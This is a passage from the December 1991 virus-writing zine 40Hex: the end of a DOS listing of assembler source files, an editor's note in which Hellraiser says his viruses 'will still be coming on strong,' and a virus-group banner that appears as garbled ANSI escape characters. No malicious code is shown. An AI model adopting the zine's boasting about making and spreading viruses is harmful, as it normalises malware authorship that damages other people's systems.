  2499. SECTOR   ASM      1573 12-11-91  10:52p
  2500. SS       DOC       270 08-08-91   3:00p
  2501. SS       EXE      6898 08-08-91   3:00p
  2502. TARGET   ASM       472 12-20-91   3:32p
  2503. TARGET   COM       100 12-25-91   8:53p
  2504. TARGET   MAP       103 12-25-91   8:53p
  2505. TARGET   OBJ       261 12-25-91   8:53p
  2506.        60 file(s)     348507 bytes
  2507.  
  2508. Directory of C:\TASM\LAB\LAB
  2509.  
  2510. .            <DIR>     12-10-91   8:46p
  2511. ..           <DIR>     12-10-91   8:46p
  2512.         2 file(s)          0 bytes
  2513.  
  2514. Total files listed:
  2515.       147 file(s)    2287766 bytes
  2516.                      1843200 bytes free
  2517.  
  2518. 40Hex Issue 4                                            December 1991
  2519.  
  2520.                             Is This The End?
  2521.                             ----------------
  2522.  
  2523.    Well, to be honest.  I'm kind of tired writing this magazine.  It's
  2524.    not like I hate it or anything, it's just too much pressure for one
  2525.    person to handle.  Decimator helped me out a bit with a few articals
  2526.    and such.  But still every time I do an issue it's me who does the
  2527.    marjority of the work.  It seems the magazine is bigger than I
  2528.    thought.  It seems to be on everybodys BBS from NY to California,
  2529.    from Canada to Europe.  The thing is I can't write this thing by
  2530.    myself anymore.  I work everyday from 2pm - 10pm and I will be going
  2531.    back to school next semester.  So I don't have time to handle all the
  2532.    things I do.  So in the long run the magazine suffers.  Anyway,
  2533.    unless people want to help out (mabey the reason is that I haven't
  2534.    really asked before) lemme know.  Contact me on Digital Warefare.
  2535.    The numbers in an artical in this issue somewhere I'm sure.  Anyway,
  2536.    fuck it, If people don't contribute soon this may well be the last
  2537.    issue of this rag ever.  So whatever happens in 1992, we shall see.
  2538.    So if this is it, later people.  My viruses will still be coming on
  2539.    strong as always...
  2540.  
  2541.    Later
  2542.    Hellraiser 12/26/91
  2543.  
  2544. HHHH                                                                  HHCÜÜÜÜÜÜ¥CÜÜ¥CÜÜ¥CÜÜÜÜÜÜÜ¥CÜÜ¥s
  2545. uCÜÜÜÜÜÜ¥CÜÜÜÜÜÜÜ¥CÜÜÜÜ¥CÜÜ¥HCÜÜ¥ÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥s
  2546. u₧₧ÜÜ¥CÜÜ¥CÜÜ¥₧₧₧₧ ÜÜ¥₧₧ÜÜ¥CÜÜ ÜÜ¥CÜÜ¥HCÜÜ¥CÜÜs
  2547. u¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥ÜÜs
  2548. u¥CÜÜ¥1HCÜÜÜÜÜÜ¥CÜÜÜÜÜÜÜ¥CÜÜÜÜÜÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜs
  2549. u¥CÜÜ¥CÜÜ¥1HCÜÜ¥₧₧₧₧ ÜÜ¥₧₧ÜÜ¥CÜÜ¥₧₧ÜÜ¥CÜÜ¥CÜÜs
  2550. u¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜ ÜÜ¥1HCÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜs
  2551. u¥CÜÜÜÜÜÜ¥CÜÜÜÜÜÜ¥CÜÜÜÜÜÜÜ¥CÜÜ¥CÜÜÜÜ¥1HC₧₧₧C₧₧₧  ₧₧₧ ₧₧₧  ₧₧₧ ₧₧₧₧₧₧₧ ₧₧₧₧₧₧₧ ₧₧₧₧₧₧₧₧ ₧₧₧    ₧₧₧₧₧1H ÜÜÜÜs
  2552. uÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜÜÜÜÜ¥CÜÜÜ¥CÜÜÜ¥CWorld Wide Virus1H ÜÜ¥₧₧₧₧ ÜÜs
  2553. u¥CÜÜ¥₧ ÜÜ¥CÜÜ¥₧₧₧₧ ÜÜ Ü Ü ÜÜ¥CMakers/Distributors1H ÜÜÜÜÜÜ¥CÜÜÜÜ¥s
  2554. u₧₧  ÜÜ¥CÜÜÜÜÜÜ¥CÜܥܥÜÜ¥1HC₧₧₧₧ÜÜ¥CÜÜ¥ÜÜ¥CÜÜs
  2555. u¥C₧₧₧₧ÜÜ¥CÜÜ¥C₧₧ ÜÜ¥1HCÜÜÜÜÜÜ¥CÜÜ¥CÜÜ¥CÜÜ¥CÜÜÜÜÜÜ¥s
  2556. uCÜÜ¥CÜÜ¥1HC₧₧₧₧₧₧₧ ₧₧₧  ₧₧₧ ₧₧₧ ₧₧₧₧₧₧₧ ₧₧₧    ₧₧₧1H                                                                   1H1H1H
  2557.